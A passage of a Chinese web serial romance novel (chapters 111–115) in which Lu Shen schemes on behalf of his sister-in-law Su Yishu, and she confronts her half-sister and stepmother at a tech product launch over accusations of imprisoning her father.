苏亦姝下车前,陆慎的手指若有似无地扫过她的侧脸,粗粝的指腹带着灼人的温度。
“大嫂,早点睡。”后天那场戏,你只需要负责光鲜亮丽地站在台上,剩下的脏活,我来。
苏亦姝没回头,只是背影僵了瞬,随即快步走进。
半小时后,陆慎推开了【夜色】顶层的包厢大门。
包厢里光线昏暗,陈淮和顾从之已经喝上了,见他进来,顾从之随手递过去一杯威士忌。
“
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把苏小姐送回去了?”
陆慎接过杯子一饮而尽,辛辣的酒精顺着喉咙下滑,却压不住他眼底翻涌的躁郁。
他坐进沙发里,整个人陷在阴影中,半晌才吐出一口烟圈。
“嗯。”他声线沙哑,“陈淮,去给苏可人透个信。”
陈淮愣住,放下酒杯看过来,“透什么信?”
“告诉她,苏振东现在被苏亦姝囚禁在郊外,生死不明。再顺便暗示她,苏亦姝打算在后天的发布会上彻底剥夺苏可人的继承权,把她肚子里的那个‘种’扫地出门。”
陆慎说得漫不经心,语气里却透着一股让人胆寒的狠意。
陈淮听得一脸懵逼,眉头拧成了一个疙瘩。
“不是,慎哥,你这唱的是哪一出?现在网上已经骂得够难听了,你再把那对母女引到发布会现场去闹,那苏小姐不是更被动了?”
顾从之在一旁抿了口酒,却是笑了,眼神在镜片后显得格外精明。
“陈淮,你这脑子得练练。慎哥这是打算‘瓮中捉鳖’呢。”
陈淮依旧是一脸懵圈,挠了挠后脑勺,看着他们两。
顾从之看向陆慎,见他神色淡淡。
“慎哥是想让苏可人亲自把这出戏演到高、潮,然后在众目睽睽之下,把她和刘芹那点老底彻底揭了?顺带……把那野种的身世给断了?”
陆慎靠在椅背上,修长的双腿交叠,冷嗤一声。
“苏可人蹦跶得太久了,真以为自己肚子里的野种是陆家的了。吴海岩那废物消停了太久,让他出来认领一下他自己的种。”
“至于苏振东——”
陆慎眼神一厉,杯中的冰块撞击出清脆的声响,“既然苏可人觉得他被囚禁了,那就干脆让他‘消失’得更彻底一点。”
陈淮这下听明白了,忍不住打了个寒颤。
陆慎这是要帮苏亦姝清理门户,不仅要断了苏家的根,还要把那盆脏水反手扣回赵西双和苏可人头上。
“明白了,我这就去办。保准让苏可人明天晚上急得睡不着觉,后天一早就带人冲去会场闹个痛快。”
陆慎没再说话,只是盯着摇晃的液体。
苏亦姝想和他撇清关系,可他偏不。
他要让她知道,这辈子,他们之间,只能抵死纠缠……不眠不休……
第一百一十一章 坐不住了
医院,高级VIP病房。
苏可人半躺在病床上,虽然是在养胎,可那张脸已经瘦脱了相,眼下的青紫怎么也遮不住。
“叮——”
手机屏幕亮起,苏可人找的**发来的照片,照片里,苏亦姝进出擎天大厦的照片,照片里的苏亦姝,穿着精致又端庄的人职业装,整个人看上去精炼又透着一股子美艳。
紧接着,一个语音过来了。“苏二小姐,查到了。苏总最后出现的地点是郊区的一个仓库,然后就不知所踪,我这边得到的消息,可能是被苏亦姝给囚禁起来了。而且,我听说苏亦姝已经跟陆家老爷子通了气,要在后天的发布会上,以‘苏家无子,长女承业’的名头,正式接管苏氏。”
“长女承业?她也配!”
苏可人猛地坐起身,动作太大扯到了输液管,手背瞬间鼓起一个青紫的包,她却浑然不觉,指尖发颤地拨通了刘芹的电话。
“妈,我爸还没消息吗?他是不是真被苏亦姝那个**给关起来了?”
刘芹在电话那头也是急得团团转,没有苏振东,她谈何豪门贵妇!
“可人,我求爷爷告奶奶,谁也不肯帮我。苏亦姝现在有陆家护着,那些警察一听是苏家的事都不敢深管。你爸都失踪两天了,要是他有个三长两短,咱们母女俩可怎么办啊……”
刘芹说着就哭起来了,哭声像诅咒一样绕在苏可人耳边,让她心底烦躁又不甘心。
她咬牙挂断电话,紧接着拨通了赵西双的号码。
“赵小姐,你好,我想问您一件事。”苏可人的声音带着卑微的讨好,“听我妈说,两天前我爸找您了,您见过他吗?”
“我跟你爸确实约了,但是,我没去,因为我临时有事。怎么了?”赵西双的声音夹杂着几分不解。
“我爸可能被苏亦姝给囚禁了。还要当众宣布接管苏氏,我想请你帮我。”苏可人的语气透着焦急。“只要您能帮我阻拦苏亦姝后天的发布会,我……您有什么要求,尽管提。我肚子里还有陆家的种,在陆家,应该还有点价值的。”
苏可人急切地展示出自己的价值。
电话那头,赵西双正对着镜子比划着一件昂贵的礼服,闻言轻笑一声。
“可人,你在医院待得太久了,消息都闭塞了。”赵西双语气玩味,“苏亦姝现在确实得意,连老爷子都站在她那边。不过……男人嘛,最受不了的就是绿帽子,家族嘛,最受不了的就是丑闻。你手里不是握着那个**锏吗?”
赵西双隐瞒了陆慎可能带走苏振东的事实,只是暗示着。
“后天发布会,全江城的媒体都会到场。如果你能带着你母亲,在大庭广众之下揭露她**生父,意图害死你肚子里的孩子,继承陆钦的遗产,你觉得陆家还会要她这个长房孙媳吗?”
“可我还在保胎……”苏可人犹豫了一下,看向自己隆起的腹部。
“呵,这孩子生下来要是没名没分,那他就是个累赘。要是能帮你换回苏氏和陆家的名分,他才是你的金疙瘩。可人,富贵险中求啊。”
挂掉电话后,苏可人死死攥着手机,指甲陷进肉里。
她当然知道赵西双是在拿她当枪使,可她没得选。
她唯一能依靠的,只有这个还没出世的孩子,和那个生死不明的亲爹。
可是,她心里也有忌惮。
苏亦姝背后有陆慎,到时候,陆慎会不会帮忙?听说陆慎被陆家赶出去了,就算帮忙,也成不了什么气候。
但是,吴海岩,她一直没联系上。
这才是她心底最大的隐患。
可是,一想到苏亦姝那风光无限的样子,她就恨得牙牙痒。
凭什么?她一个苏家正牌的小姐,还不如苏亦姝这个来历不明的野种?
“苏亦姝,你想要风风光光地上位?做梦。”
苏可人一把扯掉手背上的输液针,鲜血顺着手背滑落。
市中心私立医院。
方思荷靠在软枕上,脸色虽然还透着大病初愈的虚白,但精神已经好了不少。
她看着坐在床边削苹果的苏亦姝,眼神里满是担忧。
“亦姝,别削了,我都吃不下了。”
方思荷伸手按住苏亦姝的手腕,低声说道,“我哥都跟我说了,苏可人和刘芹现在还没找到苏振东,已经在外面疯了。明天的发布会,她们肯定会去闹,你真的想好了吗?”
苏亦姝手下的动作没停,果皮顺着刀锋完整地垂落。
她神色平静看不出半点紧张之色,连眼睫都没颤一下。
“她们闹不闹,取决于我给不给她们机会。思荷,苏家给我带来的那些痛,我忍得太久了。所以这次,我打算亲手解决了。”
“可是陆慎呢?”方思荷咬了咬唇,“现在全江城都在传你跟他……虽然我知道那是为了自保,可明天的场合那么正式,万一有人拿这个做文章,你不仅会丢了擎天的位置,陆老爷子那边恐怕也交不了差。”
听到“陆慎”这两个字,苏亦姝削苹果的手微微一顿。
脑海里浮现出那晚在劳斯
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莱斯后座,陆慎那双偏执到疯狂的眼眸,以及他贴在自己耳边一遍遍说着情话。
“他有他要算的账,我有我要走的路。”
苏亦姝将削好的苹果切成小块递给方思荷,语调清冷。
“陆慎不是我的变数,也不是我的阻力。他要干什么,我无权干涉,但是我要干什么,我心里清楚。”
话虽如此,但苏亦姝心里很清楚,陆慎这个人,阴晴不定,谁也不能预测他下一步要做什么。
陪方思荷聊了一会儿,苏亦姝起身告辞。
走出医院大厅时,凉风迎面扑来。
温书已经把车停在了门口,见她出来,神色匆匆地迎了上来。
“总监,刚收到的消息,刘芹去医院找苏可人了。”
苏亦姝坐进车里,整理了一下裙摆,冷淡地开口:“知道了,不用理会,继续我们手上的工作就行。”
“还有,通知下去,明天的安保撤掉一半。苏可人想进场,就让她顺顺利利地进来”
车子缓缓驶离医院,苏亦姝靠在椅背上闭目养神。
明天,将会是一场硬仗要打,也是她苏亦姝,向那些人宣战的开始!
与此同时,海边别墅。
陆慎站在书房的露台上,手里拿着一个陈旧的信封,那是他刚从苏振东嘴里“撬”出来的秘密——关于二十多年前贺婉为什么会带着苏亦姝嫁进苏家的真相。
陈淮敲门进来,声音低沉。
“慎哥,都准备好了。吴海岩那边,老顾已经亲自去‘打过招呼’了。”
陆慎看着远处翻涌的海浪,指尖夹着的未点燃的香烟,拿出打火机点着了。
“慎哥,吴海岩那小子骨头软,被老顾一吓,什么都答应了。”
陈淮站在陆慎身后,语气里带着几分不屑,“苏可人肚子里的那个,还真是一张保命符,可惜,她找错了投胎的爹。”
陆慎吸了一口烟,火星在海风中忽明忽灭。
他并未评价苏可人的死活,只是将目光落在了那个泛黄的信封上,指腹摩挲着封皮,自嘲般地低笑一声。
“苏振东这种垃圾,居然能靠着这个秘密在贺婉身边潜伏二十多年。苏亦姝要是知道了真相,怕是会把苏家拆得连渣都不剩。”
正说着,楼下传来汽车引擎熄灭的声音,随后是一阵克制且规律的叩门声。
“慎哥,是福伯。”陈淮看了一眼监控。
陆慎眼底划过一抹了然的讽刺,动作优雅地将手中的烟蒂摁灭在栏杆石台上。
“老头子坐不住了。”
第一百一十二章 约法三章,我给你脸了
门被打开,陆家的老管家福伯站在门口。
看到陆慎,立即恭敬地打了声招呼。
“三少爷。”
陆慎冷嗤一声,没说话,径直往沙发边走去,然后坐下,双腿交叠。
福伯走进去,看着坐在那,一身桀骜之中透着矜贵的男人,不得不在心里惊叹。
三少爷果然就是天生的领导者,这一身气场,比起当年的老爷子,更深一筹啊。
“三少爷,老爷子请您回去一趟。”福伯微微欠身,语气里带着少有的恭敬。
陆慎回过头,唇角勾起一抹玩味的笑。
“福伯,我记得爷爷亲口说过,陆慎踏出老宅大门的那一刻,就不再是陆家人。怎么,这才几天,陆家的门槛就降得这么低了?”
福伯面露难色,叹了口气道:“三少爷,您就别为难老奴了。擎天内部现在的局势……您应该比谁都清楚。虽然陆域少爷回了公司,但那几位掌握着核心资源的海外合作商,点名道姓只要见您。没有您的签字,那几个百亿级的能源项目合同,谁也谈不下来。”
“哦?那不是还有大嫂在那儿镇着吗?”陆慎提起苏亦姝时,语气里不自觉地带了丝柔和。
“苏总监那是技术上的核心,可生意场上的博弈,那些老狐狸只认您的手腕。”
福伯走近几步,压低声音道,“老爷子头疼得厉害,这会儿正在书房等着呢。只要您肯回去,之前那些事……老爷子可以既往不咎。”
“既往不咎?”陆慎猛地转过身,眼神狠戾如刀,逼得福伯下意识后退。
“是他求我回去,不是我求他原谅。告诉老爷子,想让我回去可以,但他得答应我一个条件。”
福伯愣住,“什么条件?”
“明天擎天的新品发布会,无论闹成什么样,他都不准插手。尤其是苏亦姝的事,只能由我说了算。”
“如果不答应,我这辈子都不会再回去。至于擎天,他自己去折腾吧……”
福伯愣了下,面色为难。
但还是说道:“好,那请三少爷稍等片刻,我这就跟老爷打个电话。”
说着,福伯拿着手机走到一边去了。
陈淮看着陆慎,朝着他竖起大拇指。
陈家在江城也是颇有名望的家族。陈淮在家里排行老二,上有哥哥,下有弟弟,夹在中间的他,自然也不是受宠的。
但是他也无所谓,早就看惯了豪门的那些腌脏的事,所以,并不奢求什么所谓的亲情。
所以,一直暗地里跟着陆慎后面做事。
以前只是暗地里,这段时间,就转到明面上了。
对于陆慎,他是打心底的钦佩,也尊敬。
在他看来,陆慎看似混不吝,野性难驯,但是对他们这些兄弟,那是真心实意的。而且,做事有原则。
当然,也有没有原则的时候,那就是在苏亦姝的事情上。
很快,福伯过来了。
福伯收起电话走过来时,额头上隐约渗出了细汗,他对着陆慎深鞠一躬。
“三少爷,老爷子答应了。只要您肯回去,明天发布会的事,他绝不插手。”
陆慎慢条斯理地站起身,修长的手指理了理衬衫袖口,眼底掠过一抹胜券在握的嘲弄。
“走吧,回老宅。”
陈淮在后头收起酒杯,嘿嘿一笑。
“慎哥,这老宅的门槛,我看你是得踩碎了。”
陆家老宅,书房。
檀香袅绕,却压不住那股紧绷的**味。
陆老爷子坐在宽大的红木桌后,苍老的双手支在拐杖上,目光紧盯着推门而入的陆慎。
这个他最看中也最头疼的孙子,此刻就像一头收敛了爪牙的豹子,虽然坐得端正,但骨子里的野性压根藏不住。
“回来了。”老爷子沉声开口,算是给个台阶。
陆慎靠在椅背上,浑身没个正形。
“爷爷,福伯说您头疼,我看您这气色,还能再骂我个三五年。”
“你少给我贫嘴!”老爷子重重一顿拐杖,开门见山道,“回老宅可以,回公司也行,但我有三件事要跟你约法三章。”
“嗤,是您要我回来的,不是我要回来的,麻烦您搞清楚。”
“混账,你……”老爷子气的,差点一口气没上来。。
陆慎挑眉:“气性这么大?您说,我听着。”
老爷子气呼呼的,只能心里自我安慰着。
“第一,”老爷子目光凌厉,“你跟苏亦姝之间,只能是叔嫂。你可以护着她,甚至可以把擎天的技术部交给她,但名分上,她永远是陆钦的遗孀。你绝不能做出辱没门风的事。”
“名分?”陆慎突然冷笑一声
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,眼底绽放出逼人的寒意,浑身的气势,骤然一变。
“爷爷,苏亦姝才二十几岁,您就打算让她守着陆钦那个牌位过一辈子?这种丧尽天良的残忍事,您做得出,我做不到。”
老爷子被气得胸口起伏:“你这是在跟我顶撞?”
“我是在跟您谈人性。”陆慎寸步不让,“名声这种东西,只要我足够强大,强大到没人敢在背后嚼舌根,那它就什么都不是。我陆慎想做的事情,想要的人,从来没有得不到的!任何人,都不能阻挡!”
两人对峙良久,老爷子看着陆慎那副“你敢动她我就掀桌子”的狠劲,最终眼底闪过一丝疲态,摆了摆手。
“往后的事我管不着……但在我合眼之前,别让江城的人看陆家的笑话。”
陆慎见好就收,换了个姿势:“第二条呢?”
“不能兄弟相残。”老爷子的声音苍劲却透着无奈,“不管是陆域还是陆彦,他们做了什么混账事,你教训可以,但必须给他们留条命。陆家的根,不能在你手里断了。”
陆慎盯着指尖,半晌才嗤笑一声。
“只要他们不来碰我的底线,我没兴趣当那个**魔。您老还真是操碎了心,怕我把陆家这几房都给屠了?”
老爷子没接话,而是拿出一份文件丢在桌上,脸色变得异常难看。
“第三件事,你父亲陆子民要回来了。”
陆慎嘴角的笑意瞬间僵住,眼神骤然冰冷,但也是一瞬,很快又消散。
“他不是带着那个女人在国外‘双宿**’得挺欢吗?怎么,钱花光了?”
“不只是他,他还带着那个女人生的私生子和私生女。”老爷子按着太阳穴,满脸厌恶,“他威胁我,如果不让他们认祖归宗,就去媒体面前闹,你可能不了解他,他那个人……其实跟你有点像,不达目的不罢休。”
陆慎盯着桌上的文件,突然笑出了声,只是那笑声听得人毛骨悚然。
“难怪啊……您老人家这么急着把我求回来,原来是外敌打到家门口了,家里那几个废物顶不住,才想起我这个疯子来。”
他猛地站起身,将那份文件随手一扬,纸张落在了垃圾桶里。
“行啊,处理这种脏事,我最擅长了。正好,我也看看,我跟他,到底有几分像!”
第一百一十三章 震慑全场
江城大酒店二楼,发布会现场。
镁光灯交织成一片,一个个争先恐后的占据位置。
不仅江城的主流媒体悉数到场,后排更有无数自媒体举着手机实时直播,弹幕上早已经把“苏亦姝”和“毒妇”这两个词锁死在了一起。
陈淮倚在三楼廊道的暗处,咬着一根没点着的烟,看着下方乌压压的人头。
“啧,这架势,不亚于国家大事现场了。慎哥这回是真舍得,为了让苏小姐把戏演足,连安保都撤了**办的那套,全换成咱们的人装病猫。”
顾从之推了推金丝眼镜,目光冷沉地扫视全场。
“人都是八卦的,况且这里面,还有不少是赵西双和苏可人花大价钱买通的职业黑粉。只要苏小姐开口,他们就能把唾沫星子喷到台上去。”
“慎哥呢?”陈淮问。
“在后面盯着呢。”顾从之睨了一眼入口处,“开始了。”
发布会大厅的灯光骤然暗下,几道追光灯准确地打在通往台上的入场口。
苏亦姝一袭深紫色职业套裙,衬得肤色冷白,五官明艳得凛冽。
她走得极稳,姿态从容,落落大方。
而在她身侧,陆域正装出席,虽然依旧斯文儒雅,但那双紧盯着苏亦姝背影的眼睛里,藏着旁人看不透的阴翳。
苏亦姝在台上站定,面对着数不清的镜头,神色自若地开启了麦克风。
“感谢各位莅临擎天集团的新品发布会,关于此次核心加密技术的更新……”
“苏总监!”
一道尖锐的声音猛地打破了苏亦姝平稳的开场白。
前排一名佩戴着“天蓝传媒公司”工牌的男记者猛地站起身,语气满是咄咄逼人的质问。
“这种时候,您居然还有心思聊什么代码和技术?您不打算先说说网上那个逼死亲父的视频吗?我们得到消息,你囚禁了你的父亲,请问,你真的囚禁了苏振东先生吗?”
这一个引子抛下,下方瞬间炸开了锅。
“苏总监,传闻你为了继承陆钦的遗产,不惜断绝父女关系,这是真的吗?”
“苏总监,听说你还蓄意谋害你亡夫陆钦的遗腹子,就为了继承全部的遗产,对吗?”
“这种人品做出的产品,我们凭什么信任?”
“滚下去!苏亦姝滚出擎天,滚出技术部!”
人群中不知是谁带头喊了一句,紧接着咒骂声此起彼伏,甚至有人朝着台上扔出了矿泉水瓶。
陆域见状,往前迈了一步,挡在苏亦姝身前。
“大家冷静一下,家事我们私下处理……”
这种“和稀泥”的姿态,无疑是给这场火又添了一把油。
苏亦姝看着陆域的后脑勺,眼底闪过一丝嘲弄。
她没有躲,反而伸手将陆域拨到一边,独自面对着台下那一张张扭曲且兴奋的脸。
她抬起手,微微下压。
那种上位者的压迫感,竟让嘈杂的现场诡异地安静了几秒。
“说完了吗?”
苏亦姝的声音通过音响,冷沉地传遍现场。
“想要真相是吗?”苏亦姝红唇微勾,眼神犀利地扫过刚才闹得最凶的那几个人。
“你们这么想看豪门狗血,是出于什么心理?被人花钱买通了才站在这里?还是为了博取流量?”
这话一出,场下不少人面色有些怪异。
苏亦姝并没有给台下众人太多的反应时间。
她手指轻轻敲击了一下手里的翻页笔,身后的巨幅LED屏幕画面瞬间切换。
不再是待机的新品LOGO,而是一段没有任何剪辑的高清监控视频。
视频里,苏振东满脸横肉,面目狰狞地拍着桌子,那歇斯底里的吼叫声通过音响,传遍整个发布会现场每一处。
【亦姝,我现在有难处,你给我两百亿。】
【苏振东,你的公司是怎么垮的,你自己心里清楚。当初我劝你不要跟赵西双后面掺和城南的那个项目,你不听,还说我眼皮子浅。现在烂摊子收拾不了了,想起来找我这个女儿了?】
【苏亦姝!你见死不救是不是?】
【我是你老子!我的钱将来不都是你的吗?你现在帮我一把怎么了?】
【好好好!你个白眼狼!】
【大家都来看看啊!来看看这个光鲜亮丽的苏总监是个什么东西!】
【我含辛茹苦把她养大,供她出国读书!现在她出息了,住豪宅、当总监,亲爹在外面被债主逼得都要**了,她竟然一分钱都不肯出!这种冷血无情的不孝女,也配当你们的领导?】
【苏亦姝!两百亿!少一分我就去告你!我就去媒体那毁了你!】
全场瞬间一片死寂。
刚才还义愤填膺骂着“不孝”的记者们,此刻看着屏幕上那个如同吸血鬼般的男人,一个个张大了嘴,喉咙里像是卡了根刺。
苏亦姝站在台上,神色淡漠地看着台下那一张张错愕的脸,嘴角勾起一抹极冷的弧度。
“这就是所谓的‘逼死亲父’。”
她并没有关掉视频,而是任由苏振东那贪婪的丑态在身后循环播放。
“我就想问问在座的各位,两百亿,对于诸位来说,是什么概念?”
她目光犀利锋锐,扫视全场,没有一个人敢与她对视。
“是几辈子、甚至几十辈子加起来都挣不到的天文数字。如果你们摊上这样一个只把你们当提款机的父亲,张口就是两百亿填补亏空,我想请问,你们给吗?”
台下鸦雀无声,只有快门声偶尔响动。
“我估计,有人肯定会
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为了所谓的‘道德’说给。”苏亦姝轻笑一声,那笑意不达眼底,满是嘲讽。
“还真是可笑。事情不落在自己头上,永远都不嫌事大,永远都能站在道德制高点上指指点点。”
她直起身,理了理袖口,语气骤然转冷。
“况且,前不久我出车祸差点**,这事儿相信你们都听说了。”
“我在医院抢救的时候,我那位好父亲确实来看过我一次。”苏亦姝顿了顿,神色平静。“可惜,他不是来问我疼不疼,也不是问我能不能活下来,他是拿着苏氏的债务单,来找我要钱的。”
“只要钱,不要命。”
苏亦姝的声音不大,却字字诛心。
“面对这样一个父亲,还要我拿两百亿去买他所谓的‘父爱’?如果是你们,你们买吗?这笔账,谁敢买?”
现场彻底安静了。
那些原本被赵西双买通、准备带节奏的职业黑粉,此刻也因为这些证据和苏亦姝那令人窒息的气场,硬生生把到了嘴边的脏话咽了回去。
陆域站在一旁,眼睛一直落在苏亦姝身上。
此时的苏亦姝,浑身都在发光,光芒四射,让人移不开眼。
“好了。”
苏亦姝见火候已到,果断按下翻页笔,切断了那段令人作呕的视频,屏幕重新回到了新品的加密算法构架图上。
“家务事交代完了,既然大家都闭了嘴,那接下来,诸位可以听听我们擎天的新品发布了吗?”
她眼神凌厉地扫过全场,“若是还有异议,等我说完,你们再提问。现在,谁再敢打断我,我就请保安让他滚出去。”
说完,她不再理会台下的反应,转身面向大屏幕,开始极其专业地讲解起核心代码的升级逻辑。
“这一次,我们在底层逻辑上采用了动态量子加密……”
随着苏亦姝深入浅出的讲解,大屏幕上开始演示新系统的防御能力。
那堪称完美的攻防数据,瞬间吸引了在场所有科技媒体的目光。
懂行的人开始惊叹,闪光灯疯狂闪烁,这一次,是对着产品,更是对着那个在技术领域闪闪发光的苏亦姝。
“天哪,这个算法……简直是颠覆性的!”
“擎天这次要封神了!”
台下的风向彻底变了。
之前的八卦和谩骂,在绝对强悍的实力面前,显得如此苍白无力。
苏亦姝站在聚光灯下,自信、从容,整个人都在发光。
然而,就在所有人完全被新品吸引,气氛正热烈的时候——
“砰!”
发布会的大门被人从外面猛地推开,发出一声巨响。
一道尖锐且凄厉的女声,带着哭腔传了进来。
“苏亦姝!你这个骗子!你还有脸在这里开发布会!”
第一百一十四章 气场全开,碾压
原本沉浸在技术革新中的众人硬生生被拽回了现实,所有人都朝着门口看去。
苏可人挺着肚子,在刘芹的搀扶下摇摇晃晃地闯进会场。
她没穿往日那些高定礼服,反而选了一件略显凌乱的针织衫,脸色憔悴,眼眶通红,这副模样在镁光灯下显得格外具有冲击力。
“苏亦姝,你还我爸爸!”苏可人尖叫着,声音在大厅里激起回响。
原本被压下去的记者们对视一眼,纷纷嗅到了大新闻,**短炮瞬间调转方向。
直播间里的弹幕更是疯狂滚动:
【来了来了!苏家内斗大戏现场!】
刘芹挺直了腰杆,虽然眼底藏着几分慌乱,但此时硬撑着一副受害者的模样,指着台上的苏亦姝喊道:
“大家快看看!这个女人为了霸占苏氏,把自己的亲生父亲囚禁起来了!振东已经失踪三天了,最后见的人就是她!她这是要**灭口啊!”
现场顿时炸了锅。
躲在三楼包厢阴影里的赵西双抿了一口红酒,冷眼看着底下的闹剧。
她要的就是这个效果,证据不需要多确凿,只要能把“弑父、囚禁”这种话题引入苏亦姝身上,陆家就算再看重她的技术,也绝不会留一个名声发臭的女人待在陆家。
面对这种阵仗,苏亦姝非但没慌,反而慢条斯理地关掉投影仪。
她站在高台边缘,居高临下地俯视着门口那两个像跳梁小丑的女人。
“凭什么说我囚禁了苏振东?”苏亦姝声音清冷,甚至带着一丝玩味,“法律讲究证据,如果你拿不出证据,就是诽谤。温书,联系律师,准备报警。”
刘芹被她的镇定激怒,恶狠狠地往前走了几步:“振东找你要钱,你怕他把你的那些丑事抖出去,你就把他关起来!你这种没良心的东西,迟早遭报应!”
“丑事?”苏亦姝嗤笑一声,目光在刘芹身上转了一圈,最后落在她那件暗纹旗袍上。
“报应不报应的我不知道。但我倒是好奇,这位女士,你以什么身份站在这里指责我?”
“苏振东是我丈夫!”刘芹昂这头吼着,明显底气不足。
苏亦姝看向台下的记者,语气嘲弄:“苏振东的太太?可我苏家的户口本上只有我妈贺婉的名字。这位刘女士,你是哪来的苏夫人?我苏家的保姆吗?”
“你胡说八道什么!”刘芹尖声反驳。
“胡说?”苏亦姝眼神骤冷,“你身上穿的那件旗袍,是我妈妈贺婉二十年前定做的私藏。虽然我妈妈去国外疗养了,但这些东西都留在家里。刘芹,偷主家衣服穿,这不仅是道德问题,更是****。这件衣服估价三十万,够你坐几年牢了,你算过吗?”
刘芹刚才还嚣张的气焰瞬间萎缩,下意识地想要遮住身上的衣料,脸色惨白,整个人慌得发抖。
“够了!苏亦姝你别扯开话题!”苏可人强撑着护住母亲,“你就是囚禁了爸爸!”
“你又算什么东西?”苏亦姝转头看向苏可人,眼神轻蔑如看蝼蚁,“我苏家的私生女?还是那种连族谱都没上去,名不正言不顺的东西?一个偷我妈妈衣服的女人,加上一个没名分的私生女,凑在一起污蔑我囚禁生父……”
苏亦姝冷笑着环视全场:“各位,你们觉得,这是一个正常逻辑,还是两个外人在打我苏家家产的主意?”
台下的人开始交头接耳,风向瞬间开始摇摆。
赵西双在暗处暗骂一声:“真是废物!”她低头给安排在场内的记者发了一条指令。
其中一个记者立刻站出来,梗着脖子喊道:
“苏总监,即便身份有争议,但苏可人也是苏董认可的女儿!我们现在讨论的是你囚禁自己的父亲,你不要转移视线!”
苏亦姝看向那个记者,眼底划过一抹冷芒。
“这位记者,我看你言辞凿凿,莫非你也是个私生子?或者是你背后的人跟你有着同样的基因?否则,这种荒谬的话你怎么说得出口。”
她走下、台阶,每一步都带着迫人的气场。
“我苏亦姝是苏家唯一的合法继承人,我为何要囚禁苏振东?就因为他找我要钱我没给?这逻辑不对吧。”
苏亦姝停在苏可人面前,盯着她的眼睛。
“按照常理你之前说的话,他找我要钱我没给,那应该是他囚禁我、逼迫我给钱才对,毕竟,他才是那个负债累累、穷途末路的人。你们说是吗?”
这话一出,众人纷纷点头。
确实,一个债台高筑的人,怎么看都比一个事业有成的总监更有**动机。
苏可人气得浑身发抖,指着苏亦姝:“你……你……”
“我什么我?”苏亦姝冷冷地打断她,“苏可人,你今日来这里的目的是什么,你比任何人都清楚。怎么?想要利用现场的情况,然后让你肚子里的种顺势流掉??然后栽赃我身上?这种事情,你也不是第一次做了,所以,老把戏,就没必要再来一遍。”
陆家老宅。
大厅内死寂一片,气氛沉重地让每个**气都不敢喘一下。
原本威严端庄的厅堂中央,此刻架起了一块巨大的电子屏
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幕。
画面里,苏亦姝正步步紧逼,将苏可人母女怼得毫无还手之力。
管家福伯垂首站在一旁,眼观鼻鼻观心。
这屏幕是陆慎离开老宅之前,指名道姓让他在老宅支起来的。
陆慎的原话是:“既然有人爱看戏,就让老宅的‘观众’们看个全场。”
陆老爷子坐在正位的太师椅上,双手拄着拐杖,一张饱经风霜的脸看不出喜怒。
程丽梅坐在下首,原本正端着茶杯,当苏可人出现在屏幕里的那一瞬间,她手腕一抖,滚烫的茶水溅在了手背上。
却不敢吱声。
另一只手,紧紧攥着手中的佛串。
苏可人怎么会过去?若是苏可人在现场闹出个好歹,或是被苏亦姝揭了老底,那她的计划就全碎了。
程丽梅喉咙发干,忍不住看向老爷子,刚想张口:“爸,这种家丑闹成这样,是不是该派人……”
话音未落,老爷子冷厉的眼神扫了过来。
程丽梅后面的话被生生卡在了嗓子里,只能悻悻然闭了嘴,双眼紧紧盯着大屏幕。
三房的人也坐在一侧,陆彦虽然面上不显,但眼底那一抹看好戏的玩味却藏不住。
他时不时扫一眼程丽梅的窘迫,又看看大荧幕里那个光芒万丈的苏亦姝。
“以前怎么没发现,大嫂的嘴这么厉害。”陆彦低声嘀咕了一句,语气里带着几分幸灾乐祸。
没人接话。
老爷子清楚,陆慎这一手现场直播,不仅仅是给苏亦姝撑腰,更是把陆家的脸面架在火上烤。
如果苏亦姝输了,陆家就是个笑话;如果苏亦姝赢了,那有些腌脏的事,恐怕要在大庭广众之下被撕开了。
老爷子盯着屏幕里苏亦姝那双清冷孤傲的眼,缓缓闭了闭眼。
“都坐着看完。”
老爷子的声音并不大,却带着不容置疑的命令。
就在这时,屏幕里苏亦姝说出了那句:“想要利用现场的情况,让你肚子里的种顺势流掉?然后栽赃我身上?”
程丽梅听到这,脸色瞬间由青转白。
而此时的老宅大门外,一辆黑色的车子悄然停下。
陈淮正坐在副驾驶上,通过蓝牙耳机听着老宅里的一举一动。
他拨通了陆慎的电话:“慎哥,老宅那边‘电影院’气氛很到位。老爷子没动,程丽梅快疯了。吴海岩那边,老顾也已经把他塞进酒店后门了。”
电话那头,陆慎正站在酒店二楼的VIP露台上,居高临下地俯瞰着下面。
“知道了。把苏振东也带过来……”
第一百一十五章 死精症,所以,你怀的谁的孩子?
发布会现场的气氛俨然被涌至到了最高,所有人都看着苏可人和苏亦姝。
没有什么新闻,比此时更加劲爆有看点了。
刘芹见苏亦姝不仅没被吓住,反而把自己**衣服的事情抖了出来,顿时老脸涨红,像泼妇一样挡在苏可人面前,指着苏亦姝的鼻子破口大骂。
“苏亦姝!你少在那血口喷人!你个丧良心的,你爸现在生死不明,你还有心思在这里算计几件破衣服?你就是心虚!你就是个没人要的烂货!”
苏可人猛地推开刘芹,上前一步,盯着苏亦姝突然大笑起来,笑声癫狂刺耳。
“苏亦姝,你口口声声说我是私生女,说我没名分?可你呢?你真的是苏家的大小姐吗?”
她眼神里闪烁着一种毁灭的快感,“你不过就是个父不详的野种!这件事,你母亲贺婉心里最清楚,爸爸也清楚!你之所以囚禁他,不就是怕他把这个秘密说出来,怕你这个假千金被赶出苏家吗?”
苏亦姝站在那,听到“野种”两个字,削薄的唇瓣微微抿紧,但随即便松开了,脸上露出一抹极其讽刺的笑。
“苏可人,你这张口就来的本事,还真是日益见长。”
苏亦姝冷冷地看着她,眉眼都是讽刺。
“一个名不正言不顺的私生女,竟然在公众场合质疑原配所生女儿的血脉,你自己觉得可笑不可笑?”
台下的记者中爆发出几声低笑,确实,这种没有证据的指控在众人看来,更像是穷途末路的乱咬。
苏可人被气得双眼通红,她确实没证据,那个秘密苏振东一直捂得很死。
她深吸一口气,像是想起了什么,脸上重新浮现出那种恶毒的得意。
“好,血脉的事情我们以后再说。苏亦姝,就算你是苏家大小姐又能怎样?就算你能力再强、长得再好看又如何?”
苏可人挺了挺肚子,一字一顿地说道:“你那位早逝的丈夫陆钦,还不是爬了我的床?还不是在你们的新婚之夜,放着你这个新娘子不要,带着我私奔了?”
轰——
全场瞬间陷入了死寂,随之而来的是铺天盖地的惊呼和快门声。
陆钦新婚夜失踪,江城一直有传闻,但谁也没想到真相竟然如此不堪。
苏可人看着苏亦姝瞬间紧绷的脸色,只觉得通体舒畅,她要的就是这个效果。
她一步步走近苏亦姝,抚摸着肚子,笑得极其灿烂。
